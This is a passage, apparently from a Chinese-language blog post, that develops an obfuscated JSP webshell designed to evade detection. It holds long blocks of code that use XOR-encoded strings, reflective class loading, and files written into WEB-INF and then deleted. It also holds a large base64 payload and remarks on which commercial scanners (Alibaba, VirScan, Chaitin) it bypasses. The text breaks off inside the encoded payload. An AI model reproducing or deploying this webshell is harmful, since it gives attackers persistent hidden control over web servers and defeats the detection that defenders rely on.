2wTbsB8VkstwHzvwABAAAAXwBgASEAAgIkAAAAJgAJAAABcgAdAXMALAF0AD8BdQBHAXYATQF3AFYBeQBgAXoAYQF7AiUAAAAIAAH3AGAHASEQCgIqAAwAAQIjAAAATAACAAEAAAAPFAIXuAIZpwAISyq2Ah+xAAEAAAAGAAkCHQACAiQAAAAWAAUAAABaAAYAXQAJAFsACgBcAA4AXgIlAAAABwACSQcCHQQQCAIrAAYAAQIjAAAAHQABAAEAAAAFKrgAAbAAAAABAiQAAAAGAAEAAAAYAAMCLAAAAAICLQIuAAAADAABAjMAAwIvAjACLwI6AAAAIgAEAfwB9gI7AAkCAAAAAAAAAAIMAAAAAAAAAjwCPgJAABk=";byte[][] C6dE7fG8hI9j = new byte[(246728 ^ 28525) ^ (911716 ^ 935362)][];C6dE7fG8hI9j[(411515 ^ 838949) ^ (510181 ^ 869051)] = O8pQ9qR0sS1i(Q5R6S7T8U9V0);C6dE7fG8hI9j[(501098 ^ 899901) ^ (472757 ^ 862435)] = O8pQ9qR0sS1i(W1X2Y3Z4A5B6);C6dE7fG8hI9j[(788364 ^ 949633) ^ (12799 ^ 150512)] = O8pQ9qR0sS1i(U8vW9xY0zA1b);String[] K0lM1nO2pP3q = S4tU5vV6wW7h(C6dE7fG8hI9j, request);String[] L0mN1nO2pP3q = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};java.net.URL[] S8tU9vV0wW1x = {new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(559281 ^ 837696) ^ (745704 ^ 991257)]).toURL(),new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(447658 ^ 845870) ^ (109535 ^ 759642)]).toURL(),new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(149692 ^ 172184) ^ (849476 ^ 794210)]).toURL()};try (java.net.URLClassLoader T2uV3wW4xX5y = new java.net.URLClassLoader(S8tU9vV0wW1x, Thread.currentThread().getContextClassLoader())) {for (String U6vW7xX8yY9z : L0mN1nO2pP3q) {Class<?> V0wX1yY2zZ3a = T2uV3wW4xX5y.loadClass(U6vW7xX8yY9z);if (V0wX1yY2zZ3a.getName().equals(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2b1f0e0d"))))) {V0wX1yY2zZ3a.getConstructor(HttpServletRequest.class, HttpSession.class, PageContext.class).newInstance(request, session, pageContext);}}java.io.File W4xY5zZ6aA7b = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(702690 ^ 745177) ^ (29715 ^ 102952)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));java.io.File W4xY5zZ6aA7c = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(698507 ^ 663921) ^ (410552 ^ 444995)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));java.io.File V0wX1yY2zZ3s = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(227407 ^ 518696) ^ (506169 ^ 207708)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));W4xY5zZ6aA7b.delete();W4xY5zZ6aA7c.delete();V0wX1yY2zZ3s.delete();} catch (Exception e) {throw new RuntimeException(e);}} catch (Exception e) {throw new RuntimeException(e);}
%>
其实到这里就已经可以bypass大部分webshell检测了,拿到webshell检测上测试。
阿里:
VirScan:
长亭:
这里长亭并没有绕过,这里猜测是代码中可能存在.equals关键字,长亭的检测比较严,但凡存在任何一个黑名单关键字,即使该文件不是webshell也会检测成高危。其实到这就可以结束了,但是其他都是绿的看到有一个红的就激起我的好胜欲望了。
所以接下来就是想办法绕过长亭,既然所有加载类的操作都进黑名单了,那我就不在代码中直接加载类就行了。我这里的思路就是将jsp写入到WEN-INF,然后通过.forward转发到写入到WEN-INF的jsp上,随机化生成jsp文件名写入文件,执行后删除文件,代码如下:
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.util.Random" %><%String D4eF5gH6iJ7k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";String E8fG9hI0jK1l = "0123456789";String S4tU5vV6wW7x = D4eF5gH6iJ7k + E8fG9hI0jK1l;Random C4dE5fF6gG7h = new Random();char E2fG3hH4iI5j = D4eF5gH6iJ7k.charAt(C4dE5fF6gG7h.nextInt(D4eF5gH6iJ7k.length()));StringBuilder V0wX1yY2zZ3a = new StringBuilder();V0wX1yY2zZ3a.append(E2fG3hH4iI5j);for (int i = 1; i < 6; i++) {V0wX1yY2zZ3a.append(S4tU5vV6wW7x.charAt(C4dE5fF6gG7h.nextInt(S4tU5vV6wW7x.length())));}String H0iJ1kL2mN3o = V0wX1yY2zZ3a + ".jsp";byte[] J8kL9mN0oP1q = Base64.getDecoder().decode("PCUhDQogICAgc3RhdGljIGJ5dGVbXSBPOHBROXFSMHNTMWkoU3RyaW5nIEc3aEk4aks5bE0wbikgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgQ2xhc3M8Pz4gQTNiQzRkRTVmRzZoID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOw0KICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIEI3Y0Q4ZUY5Z0gwaSA9IEEzYkM0ZEU1Zkc2aC5nZXRNZXRob2QoImdldERlY29kZXIiKTsNCiAgICAgICAgICAgIE9iamVjdCBGM2dINGlKNWtMNm0gPSBCN2NEOGVGOWdIMGkuaW52b2tlKG51bGwpOw0KICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGRlY29kZU1ldGhvZCA9IEYzZ0g0aUo1a0w2bS5nZXRDbGFzcygpLmdldE1ldGhvZChuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjBhMGMwNDBlMGEwOCIpKSksIFN0cmluZy5jbGFzcyk7DQogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgZGVjb2RlTWV0aG9kLmludm9rZShGM2dINGlKNWtMNm0sIEc3aEk4aks5bE0wbik7DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgICAgICB0aHJvdyBuZXcgUnVudGltZUV4Y2VwdGlvbihlKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHN0YXRpYyBieXRlW10gUDJxUjNzUzR0VDVxKFN0cmluZyBJNWpLNmxNN25POHApIHsNCiAgICAgICAgaW50IEgxaUoya0wzbU40byA9IEk1aks2bE03bk84cC5sZW5ndGgoKTsNCiAgICAgICAgYnl0ZVtdIE0xbk8ycFEzclM0dCA9IG5ldyBieXRlW0gxaUoya0wzbU40byAvICgoMjE3MDg0IF4gMjcyNDg2KSBeICgzOTUzMTIgXiA5NDEyMCkpXTsNCiAgICAgICAgZm9yIChpbnQgaSA9ICgoODUyMTAzIF4gMjkyODYpIF4gKDk1ODU4MiBeIDI1MDUxOSkpOyBpIDwgSDFpSjJrTDNtTjRvOyBpICs9ICgoNzQ3NzYyIF4gODU3NDEyKSBeICg5NDc1MDEgXiA1MjY0ODkpKSkgew0KICAgICAgICAgICAgTTFuTzJwUTNyUzR0W2kgLyAoKDUwMjEyMCBeIDI2MTAxMCkgXiAoODYyMjQ0IF4gNjIxMjc2KSldID0gKGJ5dGUpICgoQ2hhcmFjdGVyLmRpZ2l0KEk1aks2bE03bk84cC5jaGFyQXQoaSksICgoNjc0OTYxIF4gODQ4Mzk5KSBeICg0MTE4NyBeIDQwMTAwNSkpKSA8PCAoKDE2NDIyNyBeIDQ2NTYwMykgXiAoOTU2NTg0IF4gNzIxOTAwKSkpDQogICAgICAgICAgICAgICAgICAgICsgQ2hhcmFjdGVyLmRpZ2l0KEk1aks2bE03bk84cC5jaGFyQXQoaSArICgoNjgzMzA0IF4gNzgyOTApIF4gKDUyNzczOSBeIDIxNzQ3MikpKSwgKCg1MzYyNjUgXiA5MzA0NzIpIF4gKDIxOTE5OCBeIDM0NTE2NykpKSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIE0xbk8ycFEzclM0dDsNCiAgICB9DQoNCiAgICBzdGF0aWMgYnl0ZVtdIFE2clM3dFQ4dVU5bihieXRlW10gRjRnSDVpSjZrTDdtKSB7DQogICAgICAgIGJ5dGVbXSBHOGhJOWpLMGxNMW4gPSAibmlnYW5tYWFpeW8iLmdldEJ5dGVzKCk7DQogICAgICAgIGJ5dGVbXSBJNmpLN2xNOG5POXAgPSBuZXcgYnl0ZVtGNGdINWlKNmtMN20ubGVuZ3RoXTsNCiAgICAgICAgYnl0ZVtdIEowa0wxbU4yb1AzcSA9IEc4aEk5akswbE0xbi5jbG9uZSgpOw0KDQogICAgICAgIGZvciAoaW50IGkgPSAoKDU2NzU5NSBeIDk4MTc1MCkgXiAoMjUzNzUgXiA0MDU2OTgpKTsgaSA8IEY0Z0g1aUo2a0w3bS5sZW5ndGg7IGkgKz0gKCgxOTU1NjEgXiAzMDgwNjcpIF4gKDk2ODU3NCBeIDU2MTE0OCkpKSB7DQogICAgICAgICAgICBmb3IgKGludCBqID0gKCg3Nzc1NjAgXiAxMDk1ODApIF4gKDU0ODAxNyBeIDE0MjgyMSkpOyBqIDwgKCg5OTg0MDcgXiA3NzgwMDkpIF4gKDcwNzc3NiBeIDkyOTc1MCkpICYmIGkgKyBqIDwgRjRnSDVpSjZrTDdtLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgSTZqSzdsTThuTzlwW2kgKyBqXSA9IChieXRlKSAoRjRnSDVpSjZrTDdtW2kgKyBqXSBeIEowa0wxbU4yb1AzcVtqXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmb3IgKGludCBqID0gKCgzNzQ0NjggXiA2NjQ5MTQpIF4gKDQyMzQwNSBeIDY0ODgyNykpOyBqIDwgSjBrTDFtTjJvUDNxLmxlbmd0aDsgaisrKSB7DQogICAgICAgICAgICAgICAgSjBrTDFtTjJvUDNxW2pdID0gKGJ5dGUpIChKMGtMMW1OMm9QM3Fbal0gKyAoaSAvICgoOTc3MzkzIF4gMzk3MTk2KSBeICg2NjE5MTAgXiAxOTY1NzkpKSkgJSAoKDkwMjY1MSBeIDc0MDQzMSkgXiAoMzQ3NDM4IF4gMjQ3MTk0KSkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiBJNmpLN2xNOG5POXA7DQogICAgfQ0KDQogICAgc3RhdGljIFN0cmluZ1tdIFM0dFU1dlY2d1c3aChieXRlW11bXSBONm9QN3FROHJTOXUsIEh0dHBTZXJ2bGV0UmVxdWVzdCBPMHBRMXJTMnRVM3YpIHsNCiAgICAgICAgU3RyaW5nW10gTTJuTzNwUTRyUzV0ID0gbmV3IFN0cmluZ1soNDU5Njk3IF4gNzI0ODg4KSBeICgyOTI1MDcgXiA1NTU2OTcpXTsNCg0KICAgICAgICBmb3IgKGludCBrID0gKCg5MDc3NzYgXiAxMjMwNjUpIF4gKDgzMDk2MiBeIDM4NzMxKSk7IGsgPCAoKDgzMDQ1MCBeIDg2MTU2KSBeICg5NjQ0NjEgXiAyMTYwODApKTsgaysrKSB7DQogICAgICAgICAgICBTdHJpbmdbXSBROHJTOXRVMHZWMXggPSBuZXcgU3RyaW5nW117bmV3IFN0cmluZyhRNnJTN3RUOHVVOW4oUDJxUjNzUzR0VDVxKCIyYzVhNDM1MCIpKSksIG5ldyBTdHJpbmcoUTZyUzd0VDh1VTluKFAycVIzc1M0dFQ1cSgiMmM1YTQzNTMiKSkpLCBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjJjNWEiKSkpfTsNCiAgICAgICAgICAgIFN0cmluZyBXMnhZM3pBNEI1QzYgPSBROHJTOXRVMHZWMXhba10gKyBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjQwMGEwYjAwMWQxZSIpKSk7DQogICAgICAgICAgICBTdHJpbmcgQzZ5RDd4RThGOUcwID0gTzBwUTFyUzJ0VTN2LmdldFNlcnZsZXRDb250ZXh0KCkuZ2V0UmVhbFBhdGgoIlxcIikgKyBuZXcgU3RyaW5nKFE2clM3dFQ4dVU5bihQMnFSM3NTNHRUNXEoIjMyM2UyMjIzNDMyNDJmMjczMjBhMGIwMDFkMWUwNDEyIikpKTsNCiAgICAgICAgICAgIFN0cmluZyBEMHhFMXlGMkczSDQgPSBDNnlEN3hFOEY5RzAgKyAiXFwiICsgVzJ4WTN6QTRCNUM2Ow0KICAgICAgICAgICAgQzZ5RDd4RThGOUcwID0gQzZ5RDd4RThGOUcwLnJlcGxhY2UoIlxcIiwgIi8iKTsNCiAgICAgICAgICAgIEQweEUxeUYyRzNINCA9IEQweEUxeUYyRzNINC5yZXBsYWNlKCJcXCIsICIvIik7DQogICAgICAgICAgICBNMm5PM3BRNHJTNXRba10gPSBEMHhFMXlGMkczSDQ7DQogICAgICAgICAgICBqYXZhLmlvLkZpbGUgSTVKNks3TDhNOU4wID0gbmV3IGphdmEuaW8uRmlsZShDNnlEN3hFOEY5RzApOw0KICAgICAgICAgICAgSTVKNks3TDhNOU4wLm1rZGlycygpOw0KDQogICAgICAgICAgICBieXRlW10gTzFQMlEzUjRTNVQ2ID0gTjZvUDdxUThyUzl1W2tdOw0KDQogICAgICAgICAgICB0cnkgKGphdmEuaW8uRmlsZU91dHB1dFN0cmVhbSBmaWxlT3V0cHV0U3RyZWFtID0gbmV3IGphdmEuaW8uRmlsZU91dHB1dFN0cmVhbShEMHhFMXlGMkczSDQpKSB7DQogICAgICAgICAgICAgICAgaW50IFMxVDJVM1Y0VzVYNiA9IDEwMjQgKiAxMDI0Ow0KICAgICAgICAgICAgICAgIGZvciAoaW50IGkgPSAoKDcxMTE2NCBeIDY0OTEwMCkgXiAoNTkzMjYxIF4gNjY4NDQ1KSk7IGkgPCBPMVAyUTNSNFM1VDYubGVuZ3RoOyBpICs9IFMxVDJVM1Y0VzVYNikgew0KICAgICAgICAgICAgICAgICAgICBpbnQgRTNGNEc1SDZJN0o4ID0gTWF0aC5taW4oaSArIFMxVDJVM1Y0VzVYNiwgTzFQMlEzUjRTNVQ2Lmxlbmd0aCk7DQogICAgICAgICAgICAgICAgICAgIGZpbGVPdXRwdXRTdHJlYW0ud3JpdGUoTzFQMlEzUjRTNVQ2LCBpLCBFM0Y0RzVINkk3SjggLSBpKTsNCiAgICAgICAgICAgICAgICAgICAgZmlsZU91dHB1dFN0cmVhbS5mbHVzaCgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7DQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFJ1bnRpbWVFeGNlcHRpb24oZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuIE0ybk8zcFE0clM1dDsNCiAgICB9DQolPg0KPCUNCiAgICB0cnkgew0KICAgICAgICBTdHJpbmcgUTVSNlM3VDhVOVYwID0gInl2NjZ2Z0FBQURRQVNBa0FBZ0FEQndBRURBQUZBQVlCQUFSQ015UXhBUUFHZEdocGN5UXdBUUFFVEVJek93a0FBZ0FJREFBSkFBb0JBQkIyWVd3a1NUbHZVRGgxV1Rkb1N6WnNBUUFDVzBJS0FBd0FEUWNBRGd3QUR3QVFBUUFWYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeUFRQUdQR2x1YVhRK0FRQWFLRXhxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN0tWWUhBQklCQUJscVlYWmhMM05sWTNWeWFYUjVMMUJsY20xcGMzTnBiMjV6Q2dBUkFCUU1BQThBRlFFQUF5Z3BWZ2NBRndFQUcycGhkbUV2YzJWamRYSnBkSGt2UVd4c1VHVnliV2x6YzJsdmJnb0FGZ0FVQ2dBYUFCc0hBQndNQUIwQUhnRUFJbXBoZG1FdmMyVmpkWEpwZEhrdlVHVnliV2x6YzJsdmJrTnZiR3hsWTNScGIyNEJBQU5oWkdRQkFCMG9UR3BoZG1FdmMyVmpkWEpwZEhrdlVHVnliV2x6YzJsdmJqc3BWZ2NBSUFFQUhtcGhkbUV2YzJWamRYSnBkSGt2VUhKdmRHVmpkR2x2YmtSdmJXRnBiZ2NBSWdFQUdHcGhkbUV2YzJWamRYSnBkSGt2UTI5a1pWTnZkWEpqWlFjQUpBRUFJVnRNYW1GMllTOXpaV04xY21sMGVTOWpaWEowTDBObGNuUnBabWxqWVhSbE93b0FJUUFtREFBUEFDY0JBRElvVEdwaGRtRXZibVYwTDFWU1REdGJUR3BoZG1FdmMyVmpkWEpwZEhrdlkyVnlkQzlEWlhKMGFXWnBZMkYwWlRzcFZnb0FId0FwREFBUEFDb0JBSElvVEdwaGRtRXZjMlZqZFhKcGRIa3ZRMjlrWlZOdmRYSmpaVHRNYW1GMllTOXpaV04xY21sMGVTOVFaWEp0YVhOemFXOXVRMjlzYkdWamRHbHZianRNYW1GMllTOXNZVzVuTDBOc1lYTnpURzloWkdWeU8xdE1hbUYyWVM5elpXTjFjbWwwZVM5UWNtbHVZMmx3WVd3N0tWWUtBQUlBTEF3QUxRQXVBUUFMWkdWbWFXNWxRMnhoYzNNQkFFa29UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdXMEpKU1V4cVlYWmhMM05sWTNWeWFYUjVMMUJ5YjNSbFkzUnBiMjVFYjIxaGFXNDdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdCd0F3QVFBVGFtRjJZUzlzWVc1bkwwVjRZMlZ3ZEdsdmJnY0FNZ0VBR21waGRtRXZiR0Z1Wnk5U2RXNTBhVzFsUlhoalpYQjBhVzl1Q2dBeEFEUU1BQThBTlFFQUdDaE1hbUYyWVM5c1lXNW5MMVJvY205M1lXSnNaVHNwVmdFQUlDaE1Rak03VEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqdGJRaWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUFsbWFXNWtRMnhoYzNNQkFDVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFOVTNSaFkydE5ZWEJVWVdKc1pRRUFDVk5wWjI1aGRIVnlaUUVBS0NoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3p3cVBqc0JBQXBUYjNWeVkyVkdhV3hsQVFBSFFqTXVhbUYyWVFFQUQwVnVZMnh2YzJsdVowMWxkR2h2WkFjQVF3RUFBa0l6REFCRkFFWUJBQXhYTVZneVdUTmFORUUxUWpZQkFCc29XMElwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXhKYm01bGNrTnNZWE56WlhNQUlBQUNBQXdBQUFBQ0VCQUFDUUFLQUFBUUVBQUZBQVlBQUFBQ0FBQUFEd0EyQUFJQU53QUFBQ2dBQWdBRUFBQUFFQ29ydFFBQktpMjFBQWNxTExjQUM3RUFBQUFCQURnQUFBQUdBQUVBQUFGREFEa0FBQUFOQXdBQWdCQUFBQUFBQUFBUUVBQUVBRG9BT3dBQ0FEY0FBQUNGQUFZQUJBQUFBRVc3QUJGWnR3QVRUU3k3QUJaWnR3QVl0Z0FadXdBZldic0FJVmtCQWNBQUk3Y0FKU3dxQWJjQUtFNHFBU3EwQUFjREtyUUFCNzR0dGdBcnNFMjdBREZaTExjQU03OEFBUUFBQURvQU93QXZBQUlBT0FBQUFCb0FCZ0FBQVVjQUNBRklBQk1CU1FBcUFVOEFPd0ZRQUR3QlVRQThBQUFBQmdBQmV3Y0FMd0E5QUFBQUFnQStBQU1BUHdBQUFBSUFRQUJCQUFBQUJBQkNBRVFBUndBQUFBb0FBUUFDQUFBQUFBQUEiOw0KICAgICAgICBTdHJpbmcgVzFYMlkzWjRBNUI2ID0gInl2NjZ2Z0FBQURRQVNBa0FBZ0FEQndBRURBQUZBQVlCQUFSQ015UXlBUUFHZEdocGN5UXdBUUFFVEVJek93b0FDQUFKQndBS0RBQUxBQXdCQUJWcVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSUJBQVk4YVc1cGRENEJBQU1vS1ZZSUFBNEJCRFI1ZGpZMmRtZEJRVUZFVVVGS1FXOUJRV2RCUkVKM1FVVkVRVUZHUVVGWlFrRkNRbkZaV0Zwb1RESjRhR0p0WTNaVU1rcHhXbGRPTUVGUlFVZFFSMngxWVZoUkswRlJRVVJMUTJ4WFFuZEJTVUZSUVVOUmFsRkNRVUpTVUUxRk9IZFVla0pRVFVVNGQxUjZRbEJOUlRoM1ZIcENVRTFCUlVGRmEzaHhXVmhhYUV3eWVHaGliV04yVlROU2VXRlhOVzVQZDBWQlJGVk9kbUp1VGpCWlZ6VXdWbTFHYzJSWFZVbEJRVEJDUVVONFZFOVhWbUZOYldSRFZWVTRORmRIUlhwaWJrWk9Za2RTZDJWVE9VOWlhemxwV2tWNGNrMVZiRFZXU0doR1RsVnNNRTlGYUVOYWVscDJVRkZGUVVaRk9IZE5SRUYzVFVSQmQwMUVRWGROUkVGM1RVUkJkMDFFUWxCRFFVRlJRVkZCV1ZwVVpIVldhMUV4VkVaV05HRkhWbFZoUmxWMldrZGFNazVZVmxGVlZEQTVRVkZCVlZRd09WQk5SRUYzVFVSQmQwMUVRWGROUkVGM1ZIcEJkMDFGT0VsQlFrMUNRVUpvYUdWdGFIaGFWV2hxWlZkT1dXTkVTazVOYWxaMFdWVlNhMlJGT1ZKUVZEQkNRVUpTVUUxRVFYZE5SRUYzVFVSQmQwMUVRWGROUkVGM1RVVTRkMDFCWjBGR1owVkJRa1pHVmxac1VVSkJRbEpRVFVSQmQwMUVRWGROUkVGM1RVVTRkMDFFUWxCTlJFRjNWSGRuUVVkUlJVRklSa1pXVm14U1RVMUZOVVJWV0dzMVZWWk5kMVJzVWs5V2EwcHZWMnRrVTJOSFNuUlplakJDUVVKU1VFMUVRWGROUkVGM1RVUkJkMDFFUWxCTlJFRjNUVVJCZDFSM1owRklRVVZCUjBoa1RGbFVXbXBrYkU1RVl6SmFWMVl5VG14aGVYTXlZVzVXZEdKWVl6bFFVVVZCUmtVNGQwMUVRWGROUkVGM1ZEQTRkMDFGT0hkTlJFRjNUVVJDVUVOQlFXWkJVVU5CVDFWMGVtSkdWbEpWVlhSSlRtMXdhbGRUY3pGVGJUazJZbFYwY0ZreWRGTmthMHBZWlVjeFlWUkliR2hPTW14SVlWVjBUbU5zU2xWTmEwbDRXak5uZWxZd1NtcFdhMFY0VFRCa2VWWnFWbEpPUkZKRFVsaEdkMU5JYkdGaE1WcFFZV3h3UmxZd05WbFRiVVp0VFhwa1RXRkhUbXBSYmtaWVkxZHdNbE5ZVGpCaVNHaERUMFpyTVZreFZubFZWa3BOVkVkV01WcFhUbXROV0d0M1pWaFdXazFGYkU1VE0wcE5XVlpaUWtGQlVrUmlNbEpzUVZGQlVGUkhiSFZhVlRVeFlsZEtiR05zVW1oWmJYaHNRVkZCUzFVeU9URmpiVTVzVW0xc2MxcFJSVUZDTUVrd1RHMXdhR1J0UlVGSlVVRklRVUZKUVVGQlFVaEJRbXRCUTFGQlMwRkJSVUZEZDBGQlFVRkpRVVJCUVZwQlFUUkJRMmRCUWtGQmMwRkJRVUZEUVVFNFFVZFJRVkpCUVc5QlFWRkJURUZCUVVGQlowRlRRVUpyUVVaQlFVdEJRVVZCUTNkQlFVRkJTVUZHVVVGYVFVSmpRVU5uUVVKQlFYTkJRVUZCUTBGQ1owRkhVVUZoUVVGdlFVRlJRVXhCUVVGQlFXZEJZa0ZDYTBGSVVVRkxRVUZGUVVOM1FVRkJRVWxCU0dkQlFrRkJSVUZDVVVGSFFVRkZRVWxCUVVGQlFqQkJRVkZCUWtGQlFVRkNVM0V6UVVGSGVFRkJRVUZCVVVGb1FVRkJRVUpuUVVKQlFVRkJRVkZCUWtGRFNVRkJRVUZEUVVOTlBRb0FFQUFSQndBU0RBQVRBQlFCQUFKQ013RUFDbUZqWTJWemN5UXdNREFCQUJZb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tWdENCd0FXQVFBWmFtRjJZUzl6WldOMWNtbDBlUzlRWlhKdGFYTnphVzl1Y3dvQUZRQUpCd0FaQVFBYmFtRjJZUzl6WldOMWNtbDBlUzlCYkd4UVpYSnRhWE56YVc5dUNnQVlBQWtLQUJ3QUhRY0FIZ3dBSHdBZ0FRQWlhbUYyWVM5elpXTjFjbWwwZVM5UVpYSnRhWE56YVc5dVEyOXNiR1ZqZEdsdmJnRUFBMkZrWkFFQUhTaE1hbUYyWVM5elpXTjFjbWwwZVM5UVpYSnRhWE56YVc5dU95bFdCd0FpQVFBZWFtRjJZUzl6WldOMWNtbDBlUzlRY205MFpXTjBhVzl1Ukc5dFlXbHVCd0FrQVFBWWFtRjJZUzl6WldOMWNtbDBlUzlEYjJSbFUyOTFjbU5sQndBbUFRQWhXMHhxWVhaaEwzTmxZM1Z5YVhSNUwyTmxjblF2UTJWeWRHbG1hV05oZEdVN0NnQWpBQ2dNQUFzQUtRRUFNaWhNYW1GMllTOXVaWFF2VlZKTU8xdE1hbUYyWVM5elpXTjFjbWwwZVM5alpYSjBMME5sY25ScFptbGpZWFJsT3lsV0NnQWhBQ3NNQUFzQUxBRUFjaWhNYW1GMllTOXpaV04xY21sMGVTOURiMlJsVTI5MWNtTmxPMHhxWVhaaEwzTmxZM1Z5YVhSNUwxQmxjbTFwYzNOcGIyNURiMnhzWldOMGFXOXVPMHhxWVhaaEwyeGhibWN2UTJ4aGMzTk1iMkZrWlhJN1cweHFZWFpoTDNObFkzVnlhWFI1TDFCeWFXNWphWEJoYkRzcFZnb0FBZ0F1REFBdkFEQUJBQXRrWldacGJtVkRiR0Z6Y3dFQVNTaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6dGJRa2xKVEdwaGRtRXZjMlZqZFhKcGRIa3ZVSEp2ZEdWamRHbHZia1J2YldGcGJqc3BUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0hBRElCQUJOcVlYWmhMMnhoYm1jdlJYaGpaWEIwYVc5dUJ3QTBBUUFhYW1GMllTOXNZVzVuTDFKMWJuUnBiV1ZGZUdObGNIUnBiMjRLQURNQU5nd0FDd0EzQVFBWUtFeHFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxPeWxXQVFBSEtFeENNenNwVmdFQUJFTnZaR1VCQUE5TWFXNWxUblZ0WW1WeVZHRmliR1VCQUJCTlpYUm9iMlJRWVhKaGJXVjBaWEp6QVFBSlptbHVaRU5zWVhOekFRQWxLRXhxWVhaaEwyeGhibWN2VTNSeWFXNW5PeWxNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUJBQWxUYVdkdVlYUjFjbVVCQUNnb1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNOEtqNDdBUUFLVTI5MWNtTmxSbWxzWlFFQUIwSXpMbXBoZG1FQkFBOUZibU5zYjNOcGJtZE5aWFJvYjJRTUFFVUFSZ0VBREVNM1JEaEZPVVl3UnpGSU1nRUFHU2dwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQXhKYm01bGNrTnNZWE56WlhNQUlBQUNBQWdBQUFBQkVCQUFCUUFHQUFBQUFnQUFBQXNBT0FBQ0FEa0FBQUFpQUFJQUFnQUFBQW9xSzdVQUFTcTNBQWV4QUFBQUFRQTZBQUFBQmdBQkFBQUJXQUE3QUFBQUJRRUFBSUFRQUFRQVBBQTlBQUlBT1FBQUFKWUFCZ0FHQUFBQVRCSU5UU3k0QUE5T3V3QVZXYmNBRnpvRUdRUzdBQmhadHdBYXRnQWJ1d0FoV2JzQUkxa0JBY0FBSmJjQUp4a0VLZ0czQUNvNkJTb0JMUU10dmhrRnRnQXRzRTI3QUROWkxMY0FOYjhBQVFBQUFFRUFRZ0F4QUFJQU9nQUFBQ0lBQ0FBQUFWd0FBd0ZkQUFnQlhnQVJBVjhBSFFGZ0FEWUJaZ0JDQVdjQVF3Rm9BRDRBQUFBSUFBSDNBRUlIQURFQVB3QUFBQUlBUUFBREFFRUFBQUFDQUVJQVF3QUFBQVFBRUFCRUFFY0FBQUFLQUFFQUFnQUFBQUFBQUE9PSI7DQogICAgICAgIFN0cmluZyBVOHZXOXhZMHpBMWIgPSAieXY2NnZnQUFBRFFDUVFvQUFnQURCd0FFREFBRkFBWUJBQUpDTXdFQURGRTFValpUTjFRNFZUbFdNQUVBRmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFcwSUtBQWdBQ1FjQUNnd0FDd0FNQVFBUWFtRjJZUzlz